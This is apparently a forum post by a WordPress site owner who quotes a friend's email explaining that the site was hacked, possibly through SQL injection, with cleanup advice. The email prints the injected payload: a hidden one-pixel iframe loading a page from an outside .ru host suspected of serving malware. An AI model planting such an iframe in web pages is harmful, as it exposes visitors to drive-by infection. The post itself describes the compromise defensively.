I think what happened is I got hacked. Just got this email from a programmer
friend of
mine:
I'm afraid it looks like your site has been hacked - if it's Wordpress and it's
out of date,
and if you allow comments or some other way for the user to get input onto the
site, then
it was could have been through an SQL injection attack. If none of those are
true then
perhaps someone gained access to the server itself.
The Javascript plants this HTML at the end of your page:
<iframe src='http://trafficinc.ru/index.php' width='1' height='1' style='visibil
ity: hidden;'></iframe>
The iframe will contain whatever trafficinc.ru/index.php is dishing up - I would
suspect
it'd be malware that is attempting to exploit some vulnerability or other. Its
size means
that it wouldn't be visible on screen so it's not simply trying to plant
advertising on your
page.
I would take the site down to stop your users from getting infected, then update
to the
latest WordPress, PHP and MySQL and find out where that HTML is in the database
and get
rid of it (it could be anywhere, SQL injection attacks allow the attacker to
write content
into any record in the database, but it'll have the text you're seeing in your
page so it
shouldn't be too hard to find).
Good luck!
--------------
I updated to Wordpress 2.6.3 and the feed error disappeared so it must have been
placed
on my site by a hacker! Very alarming and I need to look into where the code is.
I
remember a few weeks ago finding a comment on the site that said it was made by
me (ie
Admin) but I knew nothing about it.
Regarding all the formatting I really need to learn more about RSS. Ive not got
a clue about
how to strip out formatting from my feed. The whole podcast rss and normal rss
process
is quite confusing to a beginner.
Thanks all for the help